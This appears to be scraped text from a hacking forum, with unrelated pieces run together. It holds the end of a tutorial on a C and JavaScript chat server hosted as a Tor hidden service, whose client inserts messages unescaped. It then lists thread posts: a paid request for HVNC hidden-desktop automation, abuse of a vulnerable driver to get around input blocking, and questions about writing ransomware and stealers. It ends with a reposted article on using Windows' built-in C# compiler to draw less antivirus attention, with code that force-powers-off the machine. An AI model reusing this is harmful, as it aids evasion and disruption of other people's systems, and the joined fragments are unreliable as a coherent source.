JavaScript:Copy to clipboard

    
    
    document.addEventListener('DOMContentLoaded', () => {
        const messagesContainer = document.getElementById('messages');
        const messageInput = document.getElementById('messageInput');
        const sendMessageButton = document.getElementById('sendMessage');
    
        async function loadMessages() {
            try {
                const response = await fetch('http://localhost:8082/chats.json');
                const jsonMessages = await response.json();
    
                messagesContainer.innerHTML = '';
                jsonMessages.forEach((msg) => {
                    const messageDiv = document.createElement('div');
                    messageDiv.className = 'message';
                    messageDiv.innerHTML = `
                        <strong>${msg.sender}</strong>: ${msg.message}
                    `;
                    messagesContainer.appendChild(messageDiv);
                });
    
                setTimeout(loadMessages, 1000);
    
            } catch (error) {
                console.error('Ошибка загрузки сообщений:', error);
                setTimeout(loadMessages, 2000);
            }
        }
    
        sendMessageButton.addEventListener('click', async () => {
            const message = messageInput.value.trim();
            if (!message) return;
    
            const newMessage = {
                sender: 'user',
                message,
                user_id: 'user'
            };
    
            try {
                const response = await fetch('http://localhost:8082/send_message', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify(newMessage)
                });
    
                if (response.ok) {
                    messageInput.value = '';
                    loadMessages();
                } else {
                    console.error('Ошибка отправки сообщения');
                }
            } catch (error) {
                console.error('Ошибка при отправке сообщения:', error);
            }
        });
    
        loadMessages();
    });

  
  
Маршруты на сервере и запросы к базе данных в файле chat_handler.c.  

C:Copy to clipboard

    
    
    if (strcmp(file_path, "chats.json") == 0) {
        while (1) {
            char *json_data = get_chat_data_as_json();
            if (json_data != NULL) {
                const char *header = "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\n\r\n";
                write(client_socket, header, strlen(header));
                write(client_socket, json_data, strlen(json_data));
                free(json_data);
                break;
                        }
            sleep(1);
        }
        close(client_socket);
        return;
    }
    
    
    if (strncmp(buffer, "POST /send_message", 18) == 0) {
        char *json_data = strstr(buffer, "\r\n\r\n") + 4;
        char sender[50], message[500], user_id[50];
    
        sscanf(json_data, "{\"sender\":\"%49[^\"]\",\"message\":\"%499[^\"]\",\"user_id\":\"%49[^\"]\"}",
               sender, message, user_id);
        save_message(sender, message, user_id);
    
        const char *response = "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\n\r\n";
        write(client_socket, response, strlen(response));
    
        close(client_socket);
        return;
    }

C:Copy to clipboard

    
    
    #include <stdio.h>
    #include <stdlib.h>   
    #include <string.h>     
    #include <sqlite3.h>   
    
    #include "chat_handler.h"
    
    #define DB_PATH "./cats.db"
    char* get_chat_data_as_json() {
        sqlite3 *db;
        sqlite3_stmt *stmt;
        char *json_data = malloc(1024 * sizeof(char));
        int buffer_size = 1024, offset = 0;
    
        if (sqlite3_open(DB_PATH, &db) != SQLITE_OK) {
            fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
            return NULL;
        }
    
        const char *sql = "SELECT sender, message, user_id FROM chats;";
        if (sqlite3_prepare_v2(db, sql, -1, &stmt, NULL) != SQLITE_OK) {
            fprintf(stderr, "Failed to fetch data: %s\n", sqlite3_errmsg(db));
            sqlite3_close(db);
            return NULL;
        }
    
        offset += snprintf(json_data + offset, buffer_size - offset, "[");
    
        while (sqlite3_step(stmt) == SQLITE_ROW) {
            const char *sender = (const char*)sqlite3_column_text(stmt, 0);
            const char *message = (const char*)sqlite3_column_text(stmt, 1);
            const char *user_id = (const char*)sqlite3_column_text(stmt, 2);
    
            if (offset + 256 > buffer_size) {
                buffer_size *= 2;
                json_data = realloc(json_data, buffer_size);
            }
    
            offset += snprintf(json_data + offset, buffer_size - offset,
                               "{\"sender\":\"%s\",\"message\":\"%s\",\"user_id\":\"%s\"},",
                               sender, message, user_id);
        }
    
        if (offset > 1 && json_data[offset - 1] == ',') {
            offset--;
        }
        snprintf(json_data + offset, buffer_size - offset, "]");
    
        sqlite3_finalize(stmt);
        sqlite3_close(db);
    
        return json_data;
    }
    
    
    void save_message(const char *sender, const char *message, const char *user_id) {
        sqlite3 *db;
        sqlite3_stmt *stmt;
    
        if (sqlite3_open(DB_PATH, &db) != SQLITE_OK) {
            fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
            return;
        }
    
        const char *sql = "INSERT INTO chats (sender, message, user_id) VALUES (?, ?, ?)";
        if (sqlite3_prepare_v2(db, sql, -1, &stmt, NULL) != SQLITE_OK) {
            fprintf(stderr, "Failed to prepare statement: %s\n", sqlite3_errmsg(db));
            sqlite3_close(db);
            return;
        }
    
        sqlite3_bind_text(stmt, 1, sender, -1, SQLITE_STATIC);
        sqlite3_bind_text(stmt, 2, message, -1, SQLITE_STATIC);
        sqlite3_bind_text(stmt, 3, user_id, -1, SQLITE_STATIC);
    
        if (sqlite3_step(stmt) != SQLITE_DONE) {
            fprintf(stderr, "Failed to insert data: %s\n", sqlite3_errmsg(db));
        }
    
        sqlite3_finalize(stmt);
        sqlite3_close(db);
    }

  

**Деплой** ​

  
Tor (The Onion Router) — это сеть, в которой данные передаются через несколько
промежуточных узлов (серверов), каждый из которых «оборачивает» их
дополнительным уровнем шифрования, наподобие луковой кожуры (отсюда и название
"Onion" — "лук"). Подробнее о работе можно узнать в официальной документации.  
  
Onion-домены (.onion) — это сайты, работающие только внутри сети Tor.  
  
Tor-браузер — это браузер со встроенными механизмами, которые направляют
трафик через Tor-сеть.  
  
Как же сделать деплой в сеть Tor? Проще простого. Если сайт состоит только из
статических страниц, есть способ деплоя через Onionshare — всё максимально
просто, и, если у вас есть графический интерфейс, можно просто drag and drop
контент. Впрочем, этот проект предназначен скорее для временной передачи
файлов.  
  
Для полноценного деплоя установите Tor: sudo apt install tor. Затем откройте
файл /etc/tor/torrc и раскомментируйте строки:  
  
HiddenServiceDir /var/lib/tor/hidden_service/  
HiddenServicePort 80 127.0.0.1:80  
  
То, что указано после двоеточия, — это порт, на котором запущен сервер. Если
это порт 8082, его нужно сменить на 8082! Также обратите внимание: там есть
две закомментированные строки HiddenServiceDir. Вы можете задеплоить на
сервере количество сайтов, равное количеству свободных портов (то есть чуть
больше 65 тысяч).  
Далее перезапустите службу: sudo systemctl restart tor. В зависимости от
конфигурации системы переключитесь на root и перейдите в директорию (либо
туда, где вы сохранили файл, главное — найти hostname) —
/var/lib/tor/hidden_service/hostname.  
  
Здесь будет отображён ваш .onion-адрес.  
  
Несколько моментов, насколько я понимаю сеть Tor (если вы решите деплоить что-
то самостоятельно, перепроверьте всё это):  
  

  1. В сети Tor не требуется TLS (HTTPS) для защиты передачи данных, поскольку Tor уже предоставляет сквозное шифрование. Трафик зашифрован от пользователя до сервера и остаётся в пределах сети Tor. Если вы решили запустить доступ к серверу как из интернета, так и через Tor, во-первых, это не рекомендуется документацией, во-вторых, вам может понадобиться TLS.
  2. Onion-адрес сети Tor — это производный идентификатор, основанный на публичном ключе, как в криптовалютах и других областях. Когда вы настраиваете Tor Hidden Service, создаётся пара ключей — **закрытый и публичный ключи**. Эти ключи используются для шифрования и дешифрования данных, передаваемых между клиентом и вашим скрытым сервисом. .onion-адрес формируется на основе хеширования публичного ключа. Этот хеш обрезается и преобразуется в строку, которая и становится вашим .onion-адресом. Таким образом, .onion-адрес связан с вашим публичным ключом, и, зная адрес, Tor-клиенты могут проверить подлинность сервиса при подключении. Файл secret_key — это приватный ключ. Если вы хотите сохранить свой .onion-адрес после переноса или переустановки сервера, сделайте резервную копию файла приватного ключа. Это похоже на восстановление доступа к криптокошельку по приватному ключу.
  3. Необходимо предотвратить раскрытие реального IP-адреса, иначе вся защита теряет смысл. Также важно скрыть использование Tor-сервиса от провайдера. Скрывайте все баннеры, которые могут раскрыть информацию о технологиях (в случае самописного сервера это полностью в наших руках). Рекомендуется использовать UNIX-сокеты вместо TCP-сокетов, блокировать весь DNS-трафик, применять нестандартные порты для Tor. Для скрытия от VPS можно использовать VPN перед Tor (впрочем, об этом нужно ещё хорошо подумать)

  
  
Трям! Пока!

Hidden Desktop Context
ID: 6765d804b4103b69df37569f
Thread ID: 123022
Created: 2024-09-19T02:05:42+0000
Last Post: 2024-11-19T13:44:34+0000
Author: 0x33
Replies: 4 Views: 1K

Hello Brains.
In the old days, I remember TinyNuke and it's HVNC.
I have a question about it's ability to have a Hidden Desktop,
I would like to be able to spawn such Hidden Desktops and for each to have their own Context, for example if I open chrome in the Hidden Desktop, it opened only for me (in the hidden desktop) not for the real user.
Question is, Is it possible to do the same programmatically, without having to instantiate an HVNC connection and opening the Chrome by hand? How is the "context" for software sealed off from the original "user context".

In my case, I need to open chrome in a specific way which requires no chromes being open on the machine (or same context, depending how it's sealed off.) Is this possible to be done automatically without actually connecting to the hrdp and opening chrome manually in the sealed off 'hidden' context?

People with knowledge on this topic, I'm looking to pay for a custom solution.

Нужна помощь в кодинге c++
ID: 6765d804b4103b69df3756a3
Thread ID: 124894
Created: 2024-10-16T07:28:57+0000
Last Post: 2024-11-05T11:46:41+0000
Author: Onyx1050
Replies: 5 Views: 1K

Изучаю вот эту статью https://xss.is/threads/104114/ не получается разобраться в коде с ++ я понимаю там шаблон кода только подставлять свои значения, ноо я не понимаю как оно там функциклирует и работает весь тот код так еще нет опыта в написании и работе с кодом c++ нужна помощь опытного кодера по с++

math for malware
ID: 6765d804b4103b69df3756a4
Thread ID: 125754
Created: 2024-10-29T01:24:02+0000
Last Post: 2024-11-01T12:54:58+0000
Author: Lost001
Replies: 12 Views: 1K

I have a doubt, especially in computer science, there is a lot of mathematics, (lumma) used trigonometry, but do you think mathematics is a great source for programming?

нахождение девайся мыши в физической памяти
ID: 6765d804b4103b69df3756aa
Thread ID: 124249
Created: 2024-10-06T21:26:12+0000
Last Post: 2024-10-16T08:08:02+0000
Author: mddbs
Replies: 6 Views: 1K

Здравствуйте, хотел бы получить мнение опытных людей касательно того, как я могу реализовать движение мыши, если у меня есть доступ к чтению и записи физической памяти. Я использую уязвимый драйвер, и с его помощью могу читать и записывать память, но я не могу редактировать код драйвера, так как он не мой. Единственный способ реализации движения мыши, о котором я подумал, это нахождение девайса мыши в физической памяти и отправление команды напрямую ему. Если вы знаете какой-то другой метод, буду рад его услышать.

Нужна помощь в реализации движения мыши я попробовал уже очень много способов и их всех блокируют(ntusersendinput и другие более низкоуровневые функции которые вызываются в usermode).

Как найти девайс мыши в физ памяти ? -_-

Заранее спасибо всем, кто поможет.
Пишу на С, С++

malware devlopment
ID: 6765d804b4103b69df3756b0
Thread ID: 122146
Created: 2024-09-05T20:07:37+0000
Last Post: 2024-10-10T08:12:31+0000
Author: Lost001
Replies: 4 Views: 1K

how to study malware development, such as ransomware, stealer, among others, I saw some, but they all have great coding that goes beyond just knowing programming, they find it useful to learn full stack, or as a saying I read one day, to create malware you Do you have to know how to hack it first and implement it later in programming?

Различие количества NumberOfFunctions в коде и PE-Bear
ID: 6765d804b4103b69df3756b1
Thread ID: 124008
Created: 2024-10-03T06:42:22+0000
Last Post: 2024-10-09T19:39:24+0000
Author: ymmfty0
Replies: 10 Views: 1K

Приветствую всех! Я хотел бы узнать, из-за чего происходит отличие в значениях. При получение NumberOfFunctions при помощи этого кода

C++:Copy to clipboard

std::ifstream inputFile("C:\\Windows\\System32\\kernel32.dll", std::ios_base::binary);
inputFile.seekg(0, std::ios_base::end);
auto length = inputFile.tellg();
inputFile.seekg(0, std::ios_base::beg);

std::vector<BYTE> buffer(length);
inputFile.read(reinterpret_cast<char*>(buffer.data()), length);

std::cout << std::hex << buffer.data() << std::endl;

PBYTE pBaseAddrDll = buffer.data();

IMAGE_DOS_HEADER pBaseDosHdrDll = *reinterpret_cast<PIMAGE_DOS_HEADER>(pBaseAddrDll);

if (pBaseDosHdrDll.e_magic != IMAGE_DOS_SIGNATURE)
{
    std::cout << "Incorrect DLL loaded" << std::endl;
    return -1;
}

PIMAGE_NT_HEADERS ntHeaderDll = reinterpret_cast<PIMAGE_NT_HEADERS>
    ( reinterpret_cast<PBYTE>(pBaseAddrDll) + pBaseDosHdrDll.e_lfanew) ;

if (ntHeaderDll->Signature != IMAGE_NT_SIGNATURE)
{
    std::cout << "Incorrect DLL loaded" << std::endl;
    return -1;
}

IMAGE_DATA_DIRECTORY exportDirectoryTable =
    ntHeaderDll->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

PIMAGE_EXPORT_DIRECTORY exportDirectory =
    reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(
        reinterpret_cast<PBYTE>(pBaseAddrDll) + exportDirectoryTable.VirtualAddress
    );

std::cout << "number of functions " << exportDirectory->NumberOfFunctions << std::endl;
std::cout << "base " << exportDirectory->Base << std::endl;
std::cout << "Name: " << reinterpret_cast<char*>(reinterpret_cast<PBYTE>(pBaseAddrDll) + exportDirectory->Name) << std::endl;

Я получаю вот такой результат:

Code:Copy to clipboard

number of functions: 687
number of names: 687
Base: 1
Name: KERNEL32.dll

PE-Bear отображает мне совершенно другой результат

1727937587137.png

Из-за чего такое может происходить ? Буду рад любой помощи.Заранее спасибо

В каких сферах нужен C++?
ID: 6765d804b4103b69df3756b4
Thread ID: 124148
Created: 2024-10-05T10:37:34+0000
Last Post: 2024-10-07T19:06:15+0000
Author: Wh1teCr0w
Replies: 11 Views: 1K

Всем привет,я как новичок в ИБ сфере хочу спросить,нужен ли C++ в этой сфере и в каких направлениях с ним можно двигаться?Я слышал про Malware, но говорят, что это не особо благодарная работа их делать.Используется ли с++ в веб?Насколько востребован С++ на рынке труда, учитывая, что есть python,js

Посоветуйте курс по С++
ID: 6765d804b4103b69df3756b6
Thread ID: 123669
Created: 2024-09-28T08:08:28+0000
Last Post: 2024-10-02T00:35:07+0000
Author: Fuhrer
Replies: 17 Views: 1K

Посоветуйте курс по С++ или книжки​

Как создать FileSender
ID: 6765d804b4103b69df3756ba
Thread ID: 123170
Created: 2024-09-20T16:56:50+0000
Last Post: 2024-09-23T16:07:19+0000
Author: satanic
Replies: 5 Views: 1K

tМне интересно, как создать его на Java для Android.

Посоветуйте, что и как
ID: 6765d804b4103b69df3756c7
Thread ID: 121925
Created: 2024-09-02T11:47:44+0000
Last Post: 2024-09-05T12:07:47+0000
Author: hellyat
Replies: 17 Views: 1K

Привет всем, многоуважаемые форумчани. Хочу изучить C#, для будущей криптологии и хочу углубляться в другие сферы, как ревёрс и прочее. Посоветуйте какой материал нужен для изучение C#?

Отключение выравнивания функций MSVC
ID: 6765d804b4103b69df3756c8
Thread ID: 120835
Created: 2024-08-15T10:57:57+0000
Last Post: 2024-08-31T01:45:50+0000
Author: coree
Replies: 4 Views: 1K

Доброго дня. Столкнулся с проблемой, msvc компилирует код, используя выравнивание с помощью байтов 0xCC. Попробовал компилить с различными оптимизациями размера кода, выключенным cfg - не помогло, стабильно вижу послелог из 0xCC. Подскажите, что такой поведение вызывает? Кстати, при компиляции с clang-cl таких приколов нету.

Подскажите деобфускаторы .NET Reactor
ID: 6765d804b4103b69df3756cb
Thread ID: 121056
Created: 2024-08-19T18:10:52+0000
Last Post: 2024-08-29T15:58:54+0000
Author: Zippy
Replies: 8 Views: 1K

Какие существуют деобфускаторы для последних версий .NET Reactor? Мне нужно нормально расшифровать код, чтобы он стал более читабельным и понятным, чтобы понять как он работает. Буду рад любым ответам по этому поводу.

Чистая Windows и разработка «без всего»
ID: 6765d804b4103b69df3756d2
Thread ID: 121211
Created: 2024-08-22T02:29:00+0000
Last Post: 2024-08-22T20:40:55+0000
Author: Panchitos
Prefix: Статья
Replies: 12 Views: 1K

Статья целиком взята с ХАБРа - https://habr.com/ru/articles/837570/ - автор alex0x08

Есть компьютер с чистой копией Windows, без доступа в интернет и без каких‑либо установленных средств разработки. Только одна чистая пользовательская «венда». Не поверите, но даже в таких спартанских условиях возможно написать и запустить полноценную программу. И сейчас я расскажу как.

Ради этого скриншота я честно развернул пользовательскую версию Windows 11 в виртуальной машине. Чего не сделаешь ради искусства! (цитата автора)

Click to expand...

Ужасы познания​

На самом деле в ОС семейства Windows с самого их начала было внутри столько всякого интересного, что никакой статьи не хватит описать, ~~так что выпусков будет много;)~~

Но почему-то мало кто об этом знает даже из разработчиков, особенно современных.

Спросите ради интереса знакомых разработчиков, возможно ли программировать на «чистой» пользовательской Windows без установки Visual Studio — удивитесь ответам.

Click to expand...

Ну и разумеется насаждаемый «пользовательский» подход самой Microsoft, которая ковыряние во внутренностях своих продуктов мягко говоря никогда не поощряла, создал эдакий ареол простоты и надежности, без необходимости разбираться как оно внутри устроено.

Поэтому описанное ниже наверное вызовет определенный ужас как у обычных пользователей так и некоторых разработчиков — особенно если они ~~обучались по видеокурсам~~ ничего не знают об истории ОС Windows.

Начну с цитаты из одной [интересной статьи](https://learn.microsoft.com/en- us/archive/blogs/astebner/mailbag-what-version-of-the-net-framework-is- included-in-what-version-of-the-os):

Over the past few months, I've received several variations on this question for other operating systems and all of the released versions of the .NET Framework. When the .NET Framework is installed as a part of the OS, it does not appear in the Programs and Features (or Add/Remove Programs) control panel. The following is a complete list of which version of the .NET Framework is included in which version of the OS

Click to expand...

И ниже длинный такой список с версиями. А вот [еще один](https://learn.microsoft.com/en-us/dotnet/framework/migration- guide/versions-and-dependencies) если вдруг первого оказалось недостаточно.

Ну казалось бы и.. что? Чего тут такого?

Про .NET SDK все и так знают, временами его необходимо установить «для запуска игор», временами он сам ставится в виде зависимой библиотеки и никому не мешает.

Все так, да.
Только что-то мне подсказывает внутрь вы не заглядывали, правда? Поэтому на что эта штука на самом деле способна не представляете.

Click to expand...

А я представляю и сейчас расскажу.

Заходите в папку Windows на вашем компьютере, вот сюда:

Этот снимок из Windows 10, в нем используется системная .NET SDK 3.5, в Windows 11 будет уже 4.0

Click to expand...

Файлт csc.exe — самый настоящий компилятор , фактически портал в ад на вашем обычном домашнем компьютере.

Почему все так страшно?

Click to expand...

Потому что через какое-то время вы обнаружите себя сильно заросшим, с бородой и красными глазами, проводящим ночи за компьютером и медленно мутирующим в программиста.

Шучу.

А если серьезно:

появляется возможность создания нативных программ сразу на вашем компьютере, минуя стадию проверки электронной подписи, проверки антивирусом, проверки электронного письма и так далее.

Click to expand...

В отличие от VB или PowerShell-скриптов, которые анализируются перед запуском любым приличным антивирусом, антивирусы не анализируют исходный код программ на C# и куда лояльнее относятся к программам собранным локально на этой же машине.

Так что веселье начинается.

Простой пример​

Для начала будет простой пример, который просто показывает стандартный диалог с сообщением. Именно его в запущенном виде вы можете видеть на заглавной картинке в статье.

Весь процесс от кода до запуска я записал на видео:

Исходный код тут казалось бы максимально простой, но с одним интересным нюансом про который ниже:

C#:Copy to clipboard

using System;
using System.Runtime.InteropServices;

namespace yoba
{
  class Program
  {
    // импортирование нативной WinAPI функции MessageBox.
    [DllImport("user32.dll")]
    public static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);

    static void Main(string[] args)
    {
      //вызываем и показываем диалог
      MessageBox(IntPtr.Zero, "Йоу!", "Добро пожаловать в разработку!", 0);
    }
  }
}

Сохраняете этот текст обычным «блокнотом» в файл yoba.cs и запускаете сборку:

c:\Windows\Microsoft.NET\Framework\v3.5\csc.exe yoba.cs

После сборки рядом с исходным файлом yoba.cs появится и запускабельный бинарник yoba.exe , который вы сможете запустить.

А теперь про нюанс.

Нюанс​

Существует определенное предубеждение по отношению к managed‑языкам вроде Java и С# — они не подходят для серьезных дел вроде написания эксплоитов, использования [0day‑уязвимостей](https://en.wikipedia.org/wiki/Zero- day_(computing)) и пенетрации ядра.

Что все подобные вещи творят ~~в глубокой тайне~~ на чистом Си, в крайнем случае на C++ а все эти ваши Java/C# не более чем «погремушки для детей», не достойные даже косого взгляда серьезного профессионала.

Click to expand...

Вот тут и начинается нюанс , посмотрите на эту радость:

C#:Copy to clipboard

[DllImport("user32.dll")]
public static extern int MessageBox(IntPtr hWnd,
                string lpText, string lpCaption, uint uType);

Это мои дорогие читатели, ни что иное как вызов нативного WinAPI , с помощью которого творили всякое нехорошее в далекие 90е.

C# и .NET имеет оооочень глубокую интеграцию с Windows, несмотря на всю свою «безопасность» и управляемость, поэтому легко и просто может заменить собой и Си и С++ в качестве инструмента для нехороших дел.

И оно живет на вашем компьютере, дома и в офисе, с постоянной пропиской и регистрацией.

Click to expand...

Но разумеется столь простого примера несколько мало для осознания глубины проблемы, поэтому я подготовил кое-что более серьезное.

Сложный пример: выключаем Windows​

Итак, это будет относительно небольшое приложение на C#, выключающее компьютер без предупреждения и подтверждения пользователя. И само собой без прав администратора.

Просто так, внезапно.

Click to expand...

Последствия думаю каждый из читателей сможет оценить для себя сам.

Весь процесс на видео (разумеется это виртуальная машина):

А теперь код:

C#:Copy to clipboard

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Security;
using System.Diagnostics;
using System.Management;
using System.Security.Permissions;
using System.Runtime.InteropServices;
 
namespace yoba
{   
    // See http://www.developmentnow.com/g/33_2004_12_0_0_33290/Access-Denied-on-ManagementEventWatcher-Start.htm
    // Calling this code on backup/restore seems to enable BCD
    public class TokenHelper
    {
        // PInvoke stuff required to set/enable security privileges
        [DllImport("advapi32", SetLastError=true),
        SuppressUnmanagedCodeSecurityAttribute]
        static extern int OpenProcessToken(
            System.IntPtr ProcessHandle, // handle to process
            int DesiredAccess, // desired access to process
            ref IntPtr TokenHandle // handle to open access token
            );

        [DllImport("kernel32", SetLastError=true),
        SuppressUnmanagedCodeSecurityAttribute]
        static extern bool CloseHandle(IntPtr handle);

        
        [DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true),
        SuppressUnmanagedCodeSecurityAttribute]
        static extern int AdjustTokenPrivileges(
            IntPtr TokenHandle,
            int DisableAllPrivileges,
            IntPtr NewState,
            int BufferLength,
            IntPtr PreviousState,
            ref int ReturnLength);

        [DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true),
        SuppressUnmanagedCodeSecurityAttribute]
        static extern bool LookupPrivilegeValue(
            string lpSystemName,
            string lpName,
            ref LUID lpLuid);

        [StructLayout(LayoutKind.Sequential)]
            internal struct LUID
        {
            internal int LowPart;
            internal int HighPart;
        }

        [StructLayout(LayoutKind.Sequential)]
            struct LUID_AND_ATTRIBUTES
        {
            LUID Luid;
            int Attributes;
        }

        [StructLayout(LayoutKind.Sequential)]
            struct _PRIVILEGE_SET
        {
            int PrivilegeCount;
            int Control;
            [MarshalAs(UnmanagedType.ByValArray, SizeConst=1)] // ANYSIZE_ARRAY = 1
            LUID_AND_ATTRIBUTES [] Privileges;
        }

        [StructLayout(LayoutKind.Sequential)]
            internal struct TOKEN_PRIVILEGES
        {
            internal int PrivilegeCount;
            [MarshalAs(UnmanagedType.ByValArray, SizeConst=3)]
            internal int[] Privileges;
        }
        const int SE_PRIVILEGE_ENABLED = 0x00000002;
        const int TOKEN_ADJUST_PRIVILEGES = 0X00000020;
        const int TOKEN_QUERY = 0X00000008;
        const int TOKEN_ALL_ACCESS = 0X001f01ff;
        const int PROCESS_QUERY_INFORMATION = 0X00000400;

        public static bool SetPrivilege (string lpszPrivilege, bool
            bEnablePrivilege )
        {
            bool retval = false;
            int ltkpOld = 0;
            IntPtr hToken = IntPtr.Zero;
            TOKEN_PRIVILEGES tkp = new TOKEN_PRIVILEGES();
            tkp.Privileges = new int[3];
            TOKEN_PRIVILEGES tkpOld = new TOKEN_PRIVILEGES();
            tkpOld.Privileges = new int[3];
            LUID tLUID = new LUID();
            tkp.PrivilegeCount = 1;
            if (bEnablePrivilege)
                tkp.Privileges[2] = SE_PRIVILEGE_ENABLED;
            else
                tkp.Privileges[2] = 0;
            if(LookupPrivilegeValue(null , lpszPrivilege , ref tLUID))
            {
                Process proc = Process.GetCurrentProcess();
                if(proc.Handle != IntPtr.Zero)
                {
                    if (OpenProcessToken(proc.Handle, TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
                        ref hToken) != 0)
                    {
                        tkp.PrivilegeCount = 1;
                        tkp.Privileges[2] = SE_PRIVILEGE_ENABLED;
                        tkp.Privileges[1] = tLUID.HighPart;
                        tkp.Privileges[0] = tLUID.LowPart;
                        const int bufLength = 256;
                        IntPtr tu = Marshal.AllocHGlobal( bufLength );
                        Marshal.StructureToPtr(tkp, tu, true);
                        if(AdjustTokenPrivileges(hToken, 0, tu, bufLength, IntPtr.Zero, ref
                            ltkpOld) != 0)
                        {
                            // successful AdjustTokenPrivileges doesn't mean privilege could be    changed
                                if (Marshal.GetLastWin32Error() == 0)
                                {
                                    retval = true; // Token changed
                                }
                        }
                        TOKEN_PRIVILEGES tokp = (TOKEN_PRIVILEGES) Marshal.PtrToStructure(tu,
                            typeof(TOKEN_PRIVILEGES) );
                        Marshal.FreeHGlobal( tu );
                    }
                }
            }
            if (hToken != IntPtr.Zero)
            {
                CloseHandle(hToken);
            }
            return retval;
        }
    }
    
    class ShutDown
    {
      
        [DllImport("user32.dll", ExactSpelling = true, SetLastError = true)]
        internal static extern bool ExitWindowsEx(int flg, int rea); 
        
        internal const int EWX_FORCE = 0x00000004;
        internal const int EWX_POWEROFF = 0x00000008;
    
        static void Main(string[] args)
        {
            TokenHelper.SetPrivilege("SeShutdownPrivilege",true);             
            ExitWindowsEx(EWX_FORCE | EWX_POWEROFF, 0);           
        }
    }
}

Обращаю внимание что это не эксплоит, не дыра, не баг и не уявимость а вполне себе стандартный функционал. Просто так получилось что о нем мало кто знает.

Собирается по аналогии с предыдущим примером:

c:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Shutdown.cs

После запуска компьютер практически немедленно выключится:

проверено и в виртуальной машине и на железе, на 10й и 11й Windows.

Click to expand...

Рассказываю как это работает.

Ключевая функция — [ExitWindowsEx](https://learn.microsoft.com/en- us/windows/win32/api/winuser/nf-winuser-exitwindowsex), которая и отвечает за завершение работы ОС. Эта функция очень старая и известная, существует еще со времен Windows 95.

Но для ее вызова нужны «привилегии», которые и выставляет программно класс TokenHelper.

Константы ниже:

C#:Copy to clipboard

internal const int EWX_FORCE = 0x00000004;
internal const int EWX_POWEROFF = 0x00000008;

используются вместе с "[побитовым или](https://learn.microsoft.com/en- us/dotnet/csharp/language-reference/operators/bitwise-and-shift- operators#logical-or-operator-)" для указания на требуемое действие.

Вот еще допустимые варианты:

C#:Copy to clipboard

internal const int EWX_LOGOFF = 0x00000000;
internal const int EWX_SHUTDOWN = 0x00000001;
internal const int EWX_REBOOT = 0x00000002;
internal const int EWX_FORCEIFHUNG = 0x00000010;

Описание их всех находится [все там же](https://learn.microsoft.com/en- us/windows/win32/api/winuser/nf-winuser-exitwindowsex) — в официальном руководстве, не поверите.

Теперь давайте разбираться как же работает столь жесткое забивание на систему защиты еще и стандартными средствами:,

TokenHelper.SetPrivilege("SeShutdownPrivilege",true);

И начнем мы с импортов.

Первое что импортируется это функция [OpenProcessToken](https://learn.microsoft.com/en- us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocesstoken):

C#:Copy to clipboard

[DllImport("advapi32", SetLastError=true),
        SuppressUnmanagedCodeSecurityAttribute]
        static extern int OpenProcessToken(
            System.IntPtr ProcessHandle, // handle to process
            int DesiredAccess, // desired access to process
            ref IntPtr TokenHandle // handle to open access token
            );

Функция отвечает за получение данных о наборе «привилегий», связанных с конкретным процессом. Собственно набор таких привилегий и называется «токеном».

Вот как эта функция вызывается:,

C#:Copy to clipboard

if (OpenProcessToken(proc.Handle, TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
                        ref hToken) != 0)
                    {
                    ..

Тут надо отметить передачу по ссылке в стиле Си (ref hToken), когда в функцию передается ссылка на объект C#, дальше функция этот объект заполняет данными. А возвращает она просто true или false — статус выполнения, отработала функция или нет.

Дальше импортируется простая и банальная [функция](https://learn.microsoft.com/en-us/windows/win32/api/handleapi/nf- handleapi-closehandle) освобождения ресурсов:

C#:Copy to clipboard

[DllImport("kernel32", SetLastError=true),
        SuppressUnmanagedCodeSecurityAttribute]
        static extern bool CloseHandle(IntPtr handle);

Вызывается она в самом конце, после всей логики и нужна только для освобождения использованной памяти под токен привилегий:

C#:Copy to clipboard

if (hToken != IntPtr.Zero)
            {
                CloseHandle(hToken);
            }

Наконец [главная функция](https://learn.microsoft.com/en- us/windows/win32/api/securitybaseapi/nf-securitybaseapi- adjusttokenprivileges), непосредственно отвечающая за переключение привилегий:

C#:Copy to clipboard

[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true),
        SuppressUnmanagedCodeSecurityAttribute]
        static extern int AdjustTokenPrivileges(
            IntPtr TokenHandle,
            int DisableAllPrivileges,
            IntPtr NewState,
            int BufferLength,
            IntPtr PreviousState,
            ref int ReturnLength);

Вот весь ключевой блок логики смены привилегий:

C#:Copy to clipboard

if (OpenProcessToken(proc.Handle, TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
                        ref hToken) != 0)
                    {
                        tkp.PrivilegeCount = 1;
                        tkp.Privileges[2] = SE_PRIVILEGE_ENABLED;
                        tkp.Privileges[1] = tLUID.HighPart;
                        tkp.Privileges[0] = tLUID.LowPart;
                        const int bufLength = 256;
                        IntPtr tu = Marshal.AllocHGlobal( bufLength );
                        Marshal.StructureToPtr(tkp, tu, true);
                        if(AdjustTokenPrivileges(hToken, 0, tu, bufLength, IntPtr.Zero, ref
                            ltkpOld) != 0)
                        {
                            // successful AdjustTokenPrivileges doesn't mean privilege could be    changed
                                if (Marshal.GetLastWin32Error() == 0)
                                {
                                    retval = true; // Token changed
                                }
                        }
                        TOKEN_PRIVILEGES tokp = (TOKEN_PRIVILEGES) Marshal.PtrToStructure(tu,
                            typeof(TOKEN_PRIVILEGES) );
                        Marshal.FreeHGlobal( tu );
                    }

Как видите вызов достаточно сложный, используется Сишный процедурный подход к заполнению полей структуры и передачи его по ссылке в вызываемую функцию.

После вызова проверяется наличие ошибки, также в стиле Си:

C#:Copy to clipboard

if (Marshal.GetLastWin32Error() == 0)
                                {
                                    retval = true; // Token changed
                                }

